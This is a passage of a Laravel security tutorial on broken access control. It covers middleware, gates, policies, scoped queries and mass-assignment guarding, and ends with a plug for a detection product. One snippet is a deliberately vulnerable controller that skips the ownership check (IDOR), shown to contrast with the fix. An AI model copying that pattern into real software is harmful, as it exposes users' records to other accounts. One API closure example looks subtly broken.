&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'can:access-admin'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/delete-user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'deleteUser'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The critical rule: every route that requires any form of access restriction must be inside the correct middleware group. Adding a new route outside the group — especially API routes — is how function-level access control vulnerabilities appear.&lt;/p&gt;

&lt;p&gt;Good authorization prevents unauthorized access but it does not tell you when someone is actively searching for authorization weaknesses. Kriosa analyzes incoming requests for behaviors such as resource enumeration, repeated authorization failures, and suspicious access patterns that often precede a successful exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The gap middleware does not fill:&lt;/strong&gt; middleware checks who the user is and what permissions they have. It does not check whether this specific user owns this specific resource. For that you need gates or policies.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Gates — Can This User Perform This Action
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Providers/AuthServiceProvider.php&lt;/span&gt;
&lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'edit-post'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In your controller&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'edit-post'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'posts.edit'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the gate returns false Laravel handles the 403 response automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Policies — Organized Authorization for Models
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;artisan&lt;/span&gt; &lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nc"&gt;InvoicePolicy&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Invoice&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Policies/InvoicePolicy.php&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;InvoicePolicy&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;
            &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isAdmin&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In your controller&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Form Requests — Authorization in Larger Applications
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;can&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'update'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The IDOR Fix — Three Approaches
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Approach 1 — Policy authorization:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — only checks authentication&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — checks ownership through policy&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Approach 2 — Scoped queries:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This can never return another user's invoice&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$invoice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invoices&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Approach 3 — Scoped route model binding (strongest):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'/users/{user}/invoices/{invoice}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nc"&gt;InvoiceController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;scopeBindings&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This automatically ensures the invoice belongs to the specified user without any manual ownership check in the controller.&lt;/p&gt;

&lt;h2&gt;
  
  
  Protecting Against Mass Assignment Privilege Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Models/User.php&lt;/span&gt;
&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$fillable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// role and is_admin are NOT here&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or blacklist instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$guarded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'is_admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'permissions'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pick one approach and stick to it. Never include &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;is_admin&lt;/code&gt;, or &lt;code&gt;permissions&lt;/code&gt; in &lt;code&gt;$fillable&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  API Routes and Authorization
&lt;/h2&gt;

&lt;p&gt;API routes are the most common place authorization is forgotten:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/invoices/{invoice}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Being authenticated via Sanctum does not mean the user is authorized to access this specific invoice. The ownership check is required on every API endpoint that returns user-specific data.&lt;/p&gt;

&lt;p&gt;Cleaner with scoped route model binding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'/users/{user}/invoices/{invoice}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;InvoiceApiController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'show'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;scopeBindings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Authorization Checklist
&lt;/h2&gt;

&lt;p&gt;For every route in your application ask these questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is this route inside the correct middleware group?&lt;/li&gt;
&lt;li&gt;Does every API route have the same authorization as its web equivalent?&lt;/li&gt;
&lt;li&gt;For routes that return a specific resource — is there an ownership check via policy, gate, or scoped query?&lt;/li&gt;
&lt;li&gt;Are sensitive fields like &lt;code&gt;role&lt;/code&gt; and &lt;code&gt;is_admin&lt;/code&gt; excluded from &lt;code&gt;$fillable&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Are admin-only functions inside admin middleware — including API endpoints added later?&lt;/li&gt;
&lt;li&gt;Does your application use policies for resource-level authorization rather than ad-hoc checks scattered across controllers?&lt;/li&gt;
&lt;li&gt;Have you considered scoped route model binding for nested resources?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of these questions has no clear answer in your code — you have a broken access control vulnerability waiting to be found.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Detection Fits
&lt;/h2&gt;

&lt;p&gt;Broken access control attacks are harder to detect than SQL injection or XSS because the requests themselves look legitimate. An authenticated user accessing &lt;code&gt;/invoices/1235&lt;/code&gt; when they own &lt;code&gt;/invoices/1234&lt;/code&gt; sends a request that looks completely normal at the HTTP layer.&lt;/p&gt;

&lt;p&gt;What is detectable is the pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rapid sequential requests to the same resource type with incrementing IDs&lt;/li&gt;
&lt;li&gt;Multiple 403 Forbidden responses from the same authenticated account&lt;/li&gt;
&lt;li&gt;Access attempts to resources owned by different users&lt;/li&gt;
&lt;li&gt;Requests to privileged endpoints from accounts without the required permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is exactly where Kriosa fits into the security stack. Laravel policies, gates, and middleware prevent unauthorized actions. Kriosa complements those controls by monitoring incoming requests for behavioral indicators of authorization probing — sequential ID enumeration, repeated 403 responses, and attempts to access privileged endpoints. Instead of simply blocking requests, its Explainable AI dashboard shows why a request was considered suspicious, helping developers understand what attackers are trying to do.&lt;/p&gt;

&lt;p&gt;Prevention stops the breach. Detection tells you someone is trying to find one.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Article 1: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;Article 2: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;Article 4: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;Article 5: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: How attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;li&gt;Article 7: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;Article 8: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Article 9: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Article 10: This article — broken access control in Laravel and why being logged in is not enough&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>php</category>
      <category>laravel</category>
    </item>
    <item>
      <title>Command Injection in PHP — When exec() Becomes an Attack Surface</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
